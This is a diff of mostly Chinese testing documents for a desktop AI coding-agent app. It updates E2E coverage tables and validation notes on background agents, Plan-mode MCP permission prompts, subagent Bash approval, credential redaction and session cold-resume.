 | `BMS`  | `packages/desktop/test/e2e/conversation-session/conversation-session-node-repl-stateless-browser-multisession.test.ts`                                                                                                                                             |
 | `BSB`  | `packages/desktop/test/e2e/conversation-session/conversation-session-browser-use-subagent-boundary.test.ts`                                                                                                                                                        |
@@ -1849,7 +1853,8 @@ artifact 后人工观察”的软通过口径。
 | APC11      | partial  | APC + focused tests          | formal spec 已新增 A 收起、切换 B、返回 A 后保持收起及显式重开断言;focused tests 覆盖 owner 偏好和 BrowserView 生命周期。尚未完成人工 review、Docker replay-isolated 与 verified preset 准入                                                                                                                                 |
 | APC12      | partial  | APC + focused tests          | formal replay:case-local MP4/WAV 进入同一存在性和逆序卡片投影;点击 WAV 后 Preview Pane 挂载原生 `audio[controls]`,媒体不触发 `fileChanges`;Desktop SSH/WSL/Docker Range Proxy 与手机大媒体预览暂不纳入本 case                                                                                                             |
 | APC13      | planned  | focused + SSH/WSL/Docker E2E | Desktop remote attachment 打开大于 8 MiB MP4,Host loopback Range Proxy 返回 `206` 并支持 seek;断言无 OSS 请求、无媒体字节进入 conversation/replay;手机 `/remote` 不复用 loopback URL                                                                                                                                       |
-| APC14      | partial  | APC + focused tests          | 2026-10-21: getFileApplications + visible name/default/first-3/More; isolated main IPC fixture covers 0/1/3/10 candidates and selected app target without launching external apps. Native enumeration remains APC07/APC12. macOS targeted formal replay 4/4 passed (2026-10-21); physical mobile and Docker admission pending |
+| APC14      | partial  | APC + focused tests          | 2026-10-21: getFileApplications + visible name/default/first-3/More; isolated main IPC fixture covers 0/1/3/10 candidates and selected app target without launching external apps. 2026-10-29: local dropdown file-manager reveal order, single OpenInEditor finder/explorer select-file IPC on macOS/Windows (2026-10-30; parent-directory OpenInFileManager on Linux) and the same single entry in the right-click menu (behaviour in APC15); remote/Web visibility not automated. Native enumeration remains APC07/APC12. macOS targeted formal replay 4/4 passed (2026-10-21); physical mobile and Docker admission pending |
+| APC15      | partial  | APC                          | 2026-10-30: macOS only. Isolated main IPC probe: DOCX card and localhost card mapped to a this-turn HTML (sourcePath) send one `OpenInEditor` finder select-file request from context menu and from dropdown; plain URL card has a dropdown but no entry; mapped card still opens the original URL. 2026-11-02: reply-body Markdown file link (local DOCX) shows the entry once after the app group and before Save as, and sends one `OpenInEditor("finder", <path>, {pathKind:"file"})` with no OpenInFileManager/app-open request; body folder link sends one `OpenInFileManager(<dir>)`. Windows/Linux, remote workspaces and mobile pending |
 
 ### Conversation Share Candidate 覆盖
 
@@ -2135,10 +2140,10 @@ BG13/BG18 增量埋点断言:保留内部工具逐条上报及零 token 断言
 | BG20       | covered  | BGS        | BGS 是 legacy E2E 历史语料(当前 pending,非当前 V4 formal):guide 模式下让 background Agent launch ack 尚未收口时发送引导文本,断言后续 provider request 同时包含 launch tool result 和引导文本,不落入普通 future queue                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
 | BG21       | partial  | SAT        | 保留 SAT 证据;TU 对应 App 单测已退役,其补充断言不再计入当前覆盖。退役前验证记录:旧父 Agent 卡片嵌套组合已剪枝;父 timeline 隔离由 TU 覆盖,child conversation 隐藏期间完成后的 cold/live terminal 恢复复用 SAT 下钻链路,仍待完整 GUI barrier 组合                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
 | BG22       | partial  | SAT        | 保留 SAT 证据;TU 对应 App 单测已退役,其补充断言不再计入当前覆盖。退役前验证记录:旧父 Agent 卡片嵌套组合已剪枝;父 timeline 隔离由 TU 覆盖,child conversation 切回后的 running→terminal 收口复用 SAT 下钻链路,仍待完整 GUI 时序组合                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
-| BG23       | covered  | BG         | BG 真实启动两个 background Bash,让右上角面板显示两个 running controls;第一个完成并触发 terminal notification/update 后,断言其 row 消失但第二个 running row 继续显示,避免右上角闪没                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
-| BG24 | covered | BG | 真实启动一个长跑 background Agent 和三个短跑 Agent;第二个 notification request 仍 in-flight 时切到其它 session/draft 再切回,观测 restore/live overlap;第三个 notification turn 先执行 TodoWrite 再延迟最终回复。断言仍 running 的 control row 全程可见,最后 stop 后消失并出现 killed/stopped 通知。2026-10-21 在 clean staging `cc73aab5d8` 曾被“background control row 没有显示”阻塞,历史根因及修复提交未定位。2026-10-29 macOS 隔离与默认 replay 各 1/1 通过;2026-10-30 staging 通用修复 `bf87c04a1f` 复验 1/1 通过(`desktop-e2e-20261030-024030-515`)。covered 表示这些运行通过,不将历史恢复归因于本次命名调整,也不代表手机或 Windows/Linux 已验证。 |
-| BG25       | covered  | BGR、RT    | 保留 BGR、RT 证据;TU 对应 App 单测已退役,其补充断言不再计入当前覆盖。退役前验证记录:独立 formal BG25 spec 验证 SendMessage -> RespondToCoordinator + continued child tool -> parent model-only `<subagent-message>` -> child completion;下钻 child 会话后断言专属卡片只展示 summary/“回复已排队”,不泄漏 message/response id,父 timeline 不恢复 mirrored row,且不混入 compact divider;RT/TU 覆盖 active/idle command intake、terminal race、FIFO ordering、单模型请求并发和其余 UI 状态;2026-10-21 整份 spec 7/7 通过 `desktop-e2e-20261021-103853-834`(重启后首发遇到草稿换代时测试侧按产品提示重发,产品修复另排期)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
-| BG26       | covered  | BGE        | `conversation-session-background-subagent-rate-limit.test.ts` 使用 case-local 429 fixture 只匹配 child marker;断言 failed notification summary 直接追加 provider 原文、Agent 卡“执行失败” hover 同一原文,并在切换任务后的 snapshot/restore 保持 failed + error;合并用例让三条通知按失败、完成、失败同批回传,断言两张失败卡都为 failed 且 hover 只含自己的原因、完成卡为 completed,restore 后不变;HTTP telemetry 遵循隐私契约,断言 `error_msg=[redacted]` 与 `error_type=TOOL_EXEC_ERROR`,业务错误仍断言原文;不扩展主模型 429 或空 stop 语义;2026-10-21 卡片/hover/restore 断言首次运行,notification 块与 hover 原文逐字校验,`desktop-e2e-20261021-104629-641` 2/2 通过                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| BG23       | covered  | BG          | BG 真实启动两个 background Bash,让右上角面板显示两个 running controls;第一个完成并触发 terminal notification/update 后,断言其 row 消失但第二个 running row 继续显示,避免右上角闪没                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
+| BG24 | covered | BG | 真实启动一个长跑 background Agent 和三个短跑 Agent;第二个 notification request 仍 in-flight 时切到其它 session/draft 再切回,观测 restore/live overlap;第三个 notification turn 先执行 TodoWrite 再延迟最终回复。断言仍 running 的 control row 全程可见,最后 stop 后消失并出现 killed/stopped 通知。2026-10-21 在 clean staging `cc73aab5d8` 曾被“background control row 没有显示”阻塞,历史根因及修复提交未定位。2026-10-29 macOS 隔离与默认 replay 各 1/1 通过;2026-10-30 staging 通用修复 `bf87c04a1f` 复验 1/1 通过(`desktop-e2e-20261030-024030-515`)。2026-11-03 v3.17.2 独立准备树复验 1/1 通过(`desktop-e2e-20261103-024041-854`)。covered 表示这些运行通过,不将历史恢复归因于本次命名调整,也不代表手机或 Windows/Linux 已验证。 |
+| BG25 | covered | BGR、RT | 保留 BGR、RT 证据;TU 对应 App 单测已退役,其补充断言不再计入当前覆盖。退役前验证记录:独立 formal BG25 spec 验证 SendMessage -> RespondToCoordinator + continued child tool -> parent model-only `<subagent-message>` -> child completion;下钻 child 会话后断言专属卡片只展示 summary/“回复已排队”,不泄漏 message/response id,父 timeline 不恢复 mirrored row,且不混入 compact divider;RT/TU 覆盖 active/idle command intake、terminal race、FIFO ordering、单模型请求并发和其余 UI 状态;2026-10-21 整份 spec 7/7 通过 `desktop-e2e-20261021-103853-834`(重启后首发遇到草稿换代时测试侧按产品提示重发,产品修复另排期) |
+| BG26       | covered  | BGE         | `conversation-session-background-subagent-rate-limit.test.ts` 使用 case-local 429 fixture 只匹配 child marker;断言 failed notification summary 直接追加 provider 原文、Agent 卡“执行失败” hover 同一原文,并在切换任务后的 snapshot/restore 保持 failed + error;合并用例让三条通知按失败、完成、失败同批回传,断言两张失败卡都为 failed 且 hover 只含自己的原因、完成卡为 completed,restore 后不变;HTTP telemetry 遵循隐私契约,断言 `error_msg=[redacted]` 与 `error_type=TOOL_EXEC_ERROR`,业务错误仍断言原文;不扩展主模型 429 或空 stop 语义;2026-10-21 卡片/hover/restore 断言首次运行,notification 块与 hover 原文逐字校验,`desktop-e2e-20261021-104629-641` 2/2 通过                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
 | BG27       | partial  | BG、RT     | 保留 BG、RT 证据;TU 对应 App 单测已退役,其补充断言不再计入当前覆盖。退役前验证记录:Agent idle wake 的结构化 title、持久化、product/cold 投影与 UI 静态全展开已有 focused tests;共享初始化 helper 已迁移 V4,pending runtime 仍待 Status panel 时序断言迁移后晋级                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
 | BG28       | partial  | BG、RT     | 保留 BG、RT 证据;TU 对应 App 单测已退役,其补充断言不再计入当前覆盖。退役前验证记录:Bash idle wake 的 title resolver、持久化、product/cold 投影、旧数据兼容与 UI 静态全展开已有 focused tests;共享初始化 helper 已迁移 V4,pending runtime 仍待 Status panel 时序断言迁移后晋级                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
 | BG29       | covered  | BG         | 保留 BG 证据;TU 对应 App 单测已退役,其补充断言不再计入当前覆盖。退役前验证记录:V4 formal BG 使用真实 `Bash(run_in_background=true)` 断言 Composer typed count,点击入口后直接展开 Status panel / Running;Subagent-only 与混合 typed count 由 focused UI tests 覆盖,避免重复启动昂贵 child runtime                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
@@ -2394,13 +2399,22 @@ PLAN151-02/03/04 先由 Core、Bootstrap、共享 Schema 与 UI 单测覆盖,
 
 ## Plan Mode MCP 权限边界覆盖口径
 
-这些 case 对应 [conversation-session-case-catalog.md](../conversation-session-case-catalog.md) 的 `Y` 分组。`PMC` 使用 case-local synthetic provider fixture 稳定制造 `EnterPlanMode -> MCP lookup -> destructive MCP` 顺序,并通过工作区 `.zcode/config.json` 注入 stdio MCP fixture server:`lookup` 不声明 `readOnlyHint` 且显式非 destructive,`reset` 声明 `destructiveHint:true`。该 case 只证明桌面本地 `desktop-continuous` 首发 session 的 Plan mode MCP 权限边界;project deny/ask 优先级、伪 `mcp__` 名称不放行和 MCP metadata 映射由 core 单测覆盖,不扩展到手机 remote replayable、设置页健康检查或真实第三方 MCP server。
+这些 case 对应 [conversation-session-case-catalog.md](../conversation-session-case-catalog.md) 的 `Y` 分组。`PMC` 使用 case-local synthetic provider fixture 稳定制造 `EnterPlanMode -> MCP lookup -> destructive MCP` 顺序,并通过隔离 E2E HOME 下的用户级配置注入 stdio MCP fixture server(工作区 MCP 需逐条信任才会连接):`lookup` 不声明 `readOnlyHint` 且显式非 destructive,`reset` 声明 `destructiveHint:true`;`lookup` 弹出权限弹窗后由用例选择允许一次。该 case 只证明桌面本地 `desktop-continuous` 首发 session 的 Plan mode MCP 权限边界;Plan×原模式的判定矩阵、allow 规则不能跳过 MCP 询问、project deny/ask 优先级、伪 `mcp__` 名称不放行和 MCP metadata 映射由 core 单测覆盖,不扩展到手机 remote replayable、设置页健康检查或真实第三方 MCP server。
 
 | Catalog ID | 覆盖状态 | 自动化 | 备注                                                                                                                                                 |
 | ---------- | -------- | ------ | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
-| Y01        | covered  | PMC    | Plan mode 内无 `readOnlyHint` 的非 destructive MCP `lookup` 真实执行,tool_result 进入下一次 provider-visible 请求,且不会触发普通 non-readonly 拒绝 |
+| Y01        | covered  | PMC    | 2026-10-31 改为 Plan 下单次询问:调用 server 前出现权限弹窗、无"始终允许"选项、允许一次后真实执行且 tool_result 进入下一次 provider-visible 请求;通过产物 `packages/desktop/.e2e-artifacts/desktop-e2e-20261031-125335-452`(当前代码重建后复跑,agent 日志判定为 `ask mode.plan.mcp`) |
 | Y02        | covered  | PMC    | 同一 plan turn 内 destructive MCP `reset` 在调用 server 前被拒绝,拒绝结果进入下一次 provider-visible 请求,会话继续收口到最终回复                   |
 
+## 自定义命令 `!` 块转交覆盖口径
+
+这些 case 对应 [conversation-session-case-catalog.md](../conversation-session-case-catalog.md) 的 `CCH` 分组。`CCH` 使用 case-local synthetic provider fixture:首个模型请求返回固定的非只读 `Bash` tool_use,命令与 `!` 块逐字一致(把 `$CLAUDE_CODE_SESSION_ID` 写入 `${CLAUDE_PROJECT_DIR}/.zcode-e2e-cch.marker`),断言基于真实 CLI 解析后发给模型的请求内容、磁盘上的标记文件及其内容。该 case 只证明桌面本地 `desktop-continuous` 的项目命令;行首/空白识别、代码块闭合、插件变量替换、无法解析时只留说明、参数不被改写由 contracts 单测覆盖,插件命令由 bootstrap 单测覆盖,TUI 路径由 CLI 单测覆盖,Bash 环境变量(前台/后台、`cd` 后仍为工作区根目录)由 core 单测覆盖,headless 拒绝由 CLI 既有权限路径保证,不扩展到手机 remote replayable。
+
+| Catalog ID | 覆盖状态 | 自动化         | 备注 |
+| ---------- | -------- | -------------- | ---- |
+| CCH01      | partial  | CCH(pending) | 2026-11-01 新增:审批框打开时标记文件不存在(解析阶段未执行);首个模型请求含写明 `/<name>` 命令文件、`project/zcode`、"not from ZCode" 的转交说明,变量保持原文;拒绝后无 `tool.call.started`、拒绝结果进入下一次请求;pending 显式回放通过(artifact: `desktop-e2e-20261101-102447-015`,agent 日志为 Bash `ask mode.build.highRisk` → `deny`),待人工 review 后转正 |
+| CCH02      | partial  | CCH(pending) | 2026-11-01 新增:允许一次后 Bash 执行(`tool.call.started`/`completed`);标记文件出现在工作区根目录,内容等于当前会话 ID,证明会话 ID 与工作区目录来自 Bash 环境变量;同一 artifact `desktop-e2e-20261101-102447-015`,待人工 review 后转正 |
+
 ## MCP OAuth 状态刷新隔离覆盖口径
 
 该组对应 [conversation-session-case-catalog.md](../conversation-session-case-catalog.md) 的 `MO` 分组。`MO01` 使用本地 authorization server、受保护 HTTP MCP、普通无鉴权 HTTP MCP、用户级 stdio MCP 和安装型 plugin fixture,在 Settings 观察 authorization pending 并至少等待一次 status-only poll 后完成 localhost callback;通过 stdio PID 与普通 HTTP initialize 次数排除“短暂断开后重连”的假阳性。`MO02` 用 UI/store 单测覆盖本地 A 到远程 B 的 `workspaceKey = workspaceIdentity?.trim() || workspacePath` 隔离、旧 runner/response 丢弃、敏感配置不外发,以及自动刷新 key 经空状态后重新武装。`MO03` 在 Desktop main 配置文件不可解析时断言 load failure 不进入 full connect replace;恢复有效配置后沿既有 connect replace 语义重新收敛。该组不扩展到手机 remote replayable、真实第三方 OAuth 或多授权并发。
@@ -2480,6 +2494,7 @@ focused adapter test 与本组 permission 来源 tag 断言共同锁住该边界
 | ---------- | -------- | ------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
 | T01        | covered  | SD + core mirror tests                | formal `SD` 证明 parent V4 dock 的 subagent 来源 tag、自定义回答进入 child 请求、child resolve 清除 pending、父 continuation 回到 idle                                  |
 | T02        | covered  | SD + core mirror tests + adapter test | formal `SD` 证明 parent V4 dock 的 permission 来源 tag、Allow once 进入 child、child Bash 结果与父 continuation 收口;adapter test 防止 V4→PermissionDialog 再丢 origin |
+| T03        | partial  | SDE(pending)+ core runtime tests     | 2026-10-31 新增:内置 Explore 继承父会话 build,非只读 Bash 执行前代理回父会话审批(带子智能体来源),拒绝后未执行,父 continuation 收口;pending 显式回放通过(artifact: `desktop-e2e-20261031-125800-945`,当前代码重建后复跑,agent 日志为 child Bash `ask mode.build.highRisk` 且无 `tool.call.started`),待人工 review 后转正 |
 
 ## Tool Error Surface 覆盖口径
 
@@ -5682,6 +5697,49 @@ WMT 所在 3 条及 Hook HK05–07 共 6 条 E2E 通过;录屏与截图记录
 根与 E2E typecheck、lint、架构及 79 条受影响工程测试通过。未覆盖实体手机、生产 relay、Windows/Linux 实机;候选不自动转正。
 
 规格见 `../runtime-tools/mcp-status-list-control-plane.md`,设置行为见 `../settings-mcp-list.md`。
+
+官方 MCP 设置探测回归(候选,不自动转正):
+
+MCP-DIAG-01/02:`packages/desktop/test/e2e/settings/manual-review/pending/mcp-failure-guidance.test.ts`
+为启动失败详情与建议候选,covered(保持 pending,不自动转正)。
+`packages/desktop/.e2e-artifacts/mcp-failure-guidance-final-r5` 2/2 通过:真实进程的 Python/Node
+缺包、命令缺失均显示建议与具体 stderr;认证头、URL 凭证、前缀环境变量、带空格和转义
+引号的凭证值均脱敏,ANSI 不进入界面。桌面与 390px Chrome 手机视口覆盖中英文、深浅
+主题;恢复 fixture 后手动刷新已连接,旧错误入口消失。CLI adapter/官方鉴权回归 57/57
+通过;19 类稳定 failureKind 的中英文建议齐全,不从错误文本推断业务分类。
+
+r1/r2 的桌面断言分别误读关闭动画中的旧弹层与打开动画中不可见的内容,手机均通过。
+r3 的 DOM 证据确认旧节点 state=closed、新节点 state=open 且初始 opacity=0;测试改为
+只读可见的 open 实例,产品未增加延时或重试。r4 补充按插件依赖清单安装的文案并通过;
+r5 在最终脱敏实现上重新构建 Agent,2/2 通过。未覆盖 Windows/Linux 实机或实体手机,
+HTTP/授权等其他失败类型仅补充稳定分类对应建议,不声明各自新增端到端覆盖。
+
+| ID               | 状态    | 验证入口                                                                                     | 证据与边界                                                                                                                                             |
+| ---------------- | ------- | -------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| OMCP-SETTINGS-01 | covered | `packages/desktop/test/e2e/settings/manual-review/pending/mcp-official-auth-routing.test.ts` | `packages/desktop/.e2e-artifacts/mcp-auth-after-guidance`:无聊天 / 已有聊天 runtime 均成功;探测未成为聊天 owner                                      |
+| OMCP-SETTINGS-02 | partial | 同一候选的可重复运行时场景                                                                   | 同一 run:A→B→A 重叠请求、当前探测进程 idle 退出后重建、聊天 runtime identity 不变;UI 迟到结果丢弃未新增实测                                          |
+| OMCP-SETTINGS-03 | partial | 同一候选 + `fixtures/mcp/official-auth-routing-proxy.mjs`                                    | 同一 run:真实 CLI 注入未登记工作区、同路径不同 identity、其他 consumer、非法参数及不可信 Origin;均拒绝且不读取凭证。旧聊天 client 迟到回调未单独注入 |
+| OMCP-SETTINGS-04 | partial | 同一候选的 390px 手机入口与凭证端口失效场景                                                  | 同一 run:手机设置已连接,手机消息无授权头;凭证端口失效后冷刷新返回 `not_authenticated`。未覆盖实际 UI 退出登录或手机实机;真实账号握手结果见下文     |
+
+2026-10-30:修复前 `official-mcp-auth-before-r5` 复现 `mcp-status` 回调在 Host 工作区路由
+被 `-32602` 拒绝;同一 Host 的聊天授权解析成功。修复后候选 3/3 通过,无重试;
+本轮最终产物在 `mcp-auth-after-guidance` 中再次 3/3 通过,未复用旧构建。
+运行时夹具只替代凭证端口并注入恶意协议帧,桌面与手机使用真实 Host、CLI 和账号凭证解析。
+候选有独立的无模型请求 fixture/manifest。现有 fixture 检查器只识别 conversation-session/plugins,
+不支持 settings 候选;本轮不扩展该工具或自动转正。
+同批 `official-mcp-oauth-regression` 的既有 OAuth 状态隔离 E2E 1/1 通过;CLI 授权端口与
+设置工作区切换回归 11/11 通过。services 独立类型检查、Desktop E2E 类型检查、lint 与架构
+检查通过;工程 affected 选择 0 项,不计作测试通过。最初根类型检查曾被 XLSX 组件的
+`onOpenLink` 类型不匹配阻塞;本轮依赖/声明产物更新后,根与 Desktop E2E 类型检查通过。
+CLI 全包递归类型检查在重建 TUI 声明后通过;CLI lint 使用 JavaScript pnpm 入口执行原有
+仓库检查脚本(本机原 npm_execpath 指向原生二进制),0 errors;未修改检查规则。
+用户明确授权后,真实账号只读握手复验通过,证据为
+`packages/desktop/.e2e-artifacts/official-mcp-auth-live/evidence.json`:`image_search`、
+`tianyancha`、`hexin-bond`、`wind-docs` 均 connected,分别发现 1、65、4、2 个工具。
+复验使用隔离 service、真实 CLI 与本机已保存凭证/连接选择,调用现有身份头构造器;
+凭证只发送到用户授权的官方 HTTPS origin,不写入临时 CLI 配置或证据,不调用 `tools/call`。
+本次未覆盖凭证自动刷新过程,也未替换用户已安装的 App。
+
 候选 `packages/desktop/test/e2e/conversation-session/manual-review/pending/conversation-session-workspace-mcp-trust.test.ts`:
 WMT-01 覆盖 Desktop 未信任零启动、逐条持久信任、手动刷新握手与撤销;WMT-02 覆盖 390px
 手机 Web 经本机隔离 relay 操作同一 Host 记录。未人工转正、未进入 Docker/三平台 CI。
@@ -6010,3 +6068,37 @@ SSV04:covered / pending-review。复用 switch-stability 候选,增加顶部
 release 基线复验:合入 `release/v3.17.0` 的 `024fde56b5820c1ccdd390650980b4d60cf370b7` 后,重新构建 App 和 Agent。SSV01/02 在 `desktop-e2e-20261029-114546-907` 中 1/1 通过,包含手机 Web 深浅主题;999 个目标会话采样未出现新任务提示、默认模型或 Provider ID 回退。原报告长历史回放 `desktop-e2e-20261029-114754-193` 为 1/1,611 个目标会话采样中 560 帧具有相邻轮次几何,60→724 行补齐及分页的最大重叠均为 0px。共享 Timeline 浏览器回归 12/12 通过,记录保存在 `packages/desktop/.e2e-artifacts/release-refresh-20261029/`。根/CLI/E2E 类型检查、lint、架构检查通过;release 新增流式投影测试 2/2,受影响工程测试 345 passed / 1 skipped。平台与 pending-review 边界不变。
 
 release 推送前复验:继续合入 `225d1b14e1495598757dea872f72e0ac764b09ec`,保留远端插件风险确认与官方命令鉴权更新,重新构建 App/Agent。SSV01/02/04 在 `desktop-e2e-20261029-123135-845` 中 1/1 通过,桌面 1688、手机浅色 11 / 深色 7 个 Header 采样均无默认标题,真实标题恢复,草稿、模型与编辑器断言通过,录屏保留。共享 Timeline 12/12、CLI 官方命令鉴权 17/17 通过;根/CLI/E2E 类型、根/CLI lint 与架构检查通过。平台和 pending-review 边界不变。
+
+2026-10-26 SAT30 / R3A-TASK-06:父会话真实 Bash cd 后启动 Agent,child 持久化稳定 workspace 身份;退出远端 CLI 与桌面后重新打开原 child,检查新进程身份与原历史正文;随后验证 fork 立即打开及再次重启恢复。macOS Electron + Linux SSH Source、受控模型回放通过,两个重启边界均核对 PID/startTicks 换代。CLI 同时覆盖旧 child 错误 cwd 的两代冷恢复、continuous/replayable 及外部身份拒绝。Host 回归覆盖同目录双项目 fork、facts/ACK 两种顺序、重复交接不覆盖移动、历史远端 NULL 迁移和本地 NULL 保留。未覆盖 Windows 原生运行或实体手机,用例继续保持 pending。
+
+2026-10-30 `hotfix/v3.17.2` 集成验证:CLI 的真实 Bash cd / SQLite 落盘、两种客户端投递模式冷恢复与相关 Subagent / fork 回归共 219 项通过。Host 持久化运行场景验证普通创建命令重试、fork 两种到达顺序、移动后重放、`0010_remote_task_ownership` 的父链修复、旧 `0009` 账本保留及重开数据库;未恢复已退役的 App 业务单测。使用当前 CLI 和 SQLite 输入 Windows 路径字符串时,`D:\project` 与 `d:\project` 的差异仍可复现 `project.session-lineage-invalid`,路径大小写归一化不在本 MR 修复范围;该诊断运行在 macOS,不代表 Windows 原生验收。
+
+本地桌面冷恢复复验:`desktop-e2e-20261030061437455-p20873-82511a24c62ed445`,macOS Electron 的 SAT27/SAT28 1/1 通过、0 skipped、无重试;真实 Agent 派发后重启应用,原 child 历史与只读详情恢复,主任务列表仍隐藏 child。
+
+远端复验前置:桌面与远端 Server 都须设置 `ZCODE_DYNAMIC_WORKFLOW_MODE=alwaysOn`;本机 Docker 可从标准 harness 镜像派生,在 sshd 配置中加入 `SetEnv ZCODE_DYNAMIC_WORKFLOW_MODE=alwaysOn`,再通过 `R3_REMOTE_IMAGE` 选择。首次缺少远端开关时,模型请求无工作流工具且 Skill 返回未找到(run `local-docker-20261030060626-1e9ec3`)。补齐前置后工作流与辅助对话通过;重启后的页面停在底部,旧用例未滚动到历史 Agent 行,找不到详情入口(run `local-docker-20261030063300-197dda`)。冷恢复验收须先滚动到顶并等待虚拟窗口对齐,再打开原 child;这两次运行均不计完整通过。
+
+最终远端复验:`local-docker-20261030064012-5a0d1d`,macOS Electron → SSH → Linux arm64,R3A-TASK-06 整例 1/1 通过、0 skipped、无重试。真实 Bash cd 后创建 child,工作流 actor 正文只读,辅助对话可续发;退出桌面和远端 Agent 后原 child 恢复正文,再 fork 并第二次重启后恢复。Agent PID 为 201 → 691 → 1099,同时核对 startTicks 换代;工件保留 `subagent.json`、`cold-resume-child.png` 与 `cold-resume-fork.png`。远端包按当前源码指纹验真复用,未更改产品开关逻辑或放宽断言。该证据不覆盖 Windows/Linux 原生桌面、实体手机或线上模型供应商;候选仍为 pending。
+
+## HF01 / SLR 启动归属修复验收(2026-10-30)
+
+covered,候选不自动晋升 formal/CI:HF01 的持久 root 使用带末尾分隔符的旧路径,Host 保持当前路径;
+真实冷打开先显示历史,初始化完成可续发,随后菜单重启保持同一会话和历史。
+SQLite 路径字段在打开、续发、重启后保持不变。SLR 综合例回归桌面 continuous 与手机 replayable
+的菜单、/reload、所属工作关闭与浏览器重用。CLI 补充上下文冲突、旧协议、父链、慢关闭和必要收尾失败。
+不把 CLI 的路径兼容测试宣称为 Windows 原生 UI 证据。
+
+本轮 Linux 容器真实 Electron + 390×844 触屏 Chromium:2 个 spec、3 项用例全部通过,
+无 skipped、无自动重试;深浅主题、菜单、/reload、所属工作关闭与网页保留均通过。
+HF02 注入的是实例 ready 后的快照读取错误;重试应恢复投影并复用实例,不重新执行 resume hook。
+已将过时的“必须重跑 hook”断言改为 generation 与 hook 次数不变,同时保留历史、草稿和滚动断言。
+运行 ID:`desktop-e2e-20261030130734643-p171148-b5576a1c78002a0f`;原始截图、日志保留在运行环境,
+尚未作为仓库附件归档。持久复验入口为上述 E2E 及其受控 provider fixture。
+本轮未实跑 Windows/macOS 原生 GUI、实体手机或 SSH 远端。
+
+## HF / SLR 启动入口补全(2026-11-02)
+
+CLI 定向回归已通过:V4 两种投递模式的并发 workspace 隔离、两种旧 WSL 数据的四个带上下文
+入口、旧无上下文启动的加入者校验、新建任务的归属登记、慢关闭仅告警且真实完成。
+桌面/手机交互沿用 HF01–02 和 SLR 综合候选。本轮实跑 covered:`desktop-e2e-20261102054133648-p182647-caa0869ba42a5410`,Linux Electron 与 390×844 触屏 Chromium,2 spec / 3 test 全通过,无 skipped 或自动重试。没有新增 UI 行为,既有 case 断言保持不变;不自动晋升 formal/CI。
+
+已就绪实例 identity 预检补全回归(2026-11-02):CLI 协议验证仅替换/删除 identity 的 ensureReady/restart 均拒绝,原实例不关闭且 generation 不变;3 文件 183 项通过。正常 HF01–02 / SLR 交互 covered:`desktop-e2e-20261102060952670-p190384-9867bbf844a8e3cd`,Linux Electron 与触屏 Chromium,2 spec / 3 test 全通过,无自动重试。矛盾 identity 参数由协议回归覆盖,不宣称原生 SSH/WSL E2E。

+ 8 - 0
docs/testing/opensource-export-validation.md

@@ -6,6 +6,14 @@
 已发布 release 分支和标签保持冻结,通用修复单独进入 staging;版本专用排除项随基线重新验证。
 应用运行逻辑、协议值、请求时序、UI 行为和测试断言保持不变。
 
+本次 v3.17.2 同步基于远端 `release/v3.17.2` 与同名发布标签共同指向的
+`a2d1ba73e188ad8e8c67c5c6538942e1210bc500`,源码版本为 `3.17.2`。
+导出准备使用独立分支;发布分支和标签保持冻结。沿用已验证的通用导出修复,
+旧版本失败测试排除项按本次实际运行结果重新确认。
+2026-11-03 macOS 准备树回归 BG24 1/1、CFG-04/05 22/22 通过,
+artifact 为 `packages/desktop/.e2e-artifacts/desktop-e2e-20261103-024041-854`;
+此记录不代表 Windows/Linux、实体手机或真实远端 Host 已验收。
+
 ## 契约
 
 1. Computer Use 占位包提供公共构建与类型检查入口,日志回调类型与真实 producer 一致;

+ 25 - 0
docs/testing/plugin-management-lifecycle-e2e-coverage-matrix.md

@@ -307,3 +307,28 @@ WPL-009 与 PGA 的 Agent bridge setup 先通过侧栏进入指定项目草稿
 真实 PhotoCraft `0.2.4` 批次 `zcode-mcp-host-e2e-mVIb8h` 通过最小化首次启动、后台编辑、恢复和删除。
 `--background-only` 批次 `zcode-mcp-host-e2e-MDAfE9` 通过无锚点冷启动、最小化执行、闲置恢复与删除释放。
 沿用该分支的展示模式与子 frame 导航行为,启动承载面由握手 phase 收束,不依赖可选 App capabilities。
+
+### 草稿 MCP UI 增补
+
+2026-10-19 完全访问修复:PLM-UI-001 增加草稿审批卡完全访问、Composer 同步、后续工具调用与首发保持权限;run `desktop-e2e-20261019103901369-p31239-d00a1707b0be388d` 完整通过并录屏;包含零 session/entry 行数、首发同一 session/guest 和授权后的工具调用。用例仍为 pending。
+
+`PLM-UI-001` pending 用例增加零首轮打开、主导航回到原草稿、首发提升复用 guest 的断言。定向单测覆盖草稿保活/释放、代际失效、pane 身份、市场迟到结果、上下文保留、V4 删除取消 UI 调用和凭证隔离。macOS Electron run `desktop-e2e-20261016160029489-p71731-393c1051e3804bad` 通过,包含工具权限允许/拒绝、侧栏关闭重开和跨工作区返回。E2E 类型检查与 fixture 检查通过;尚未人工验收,不转正。
+
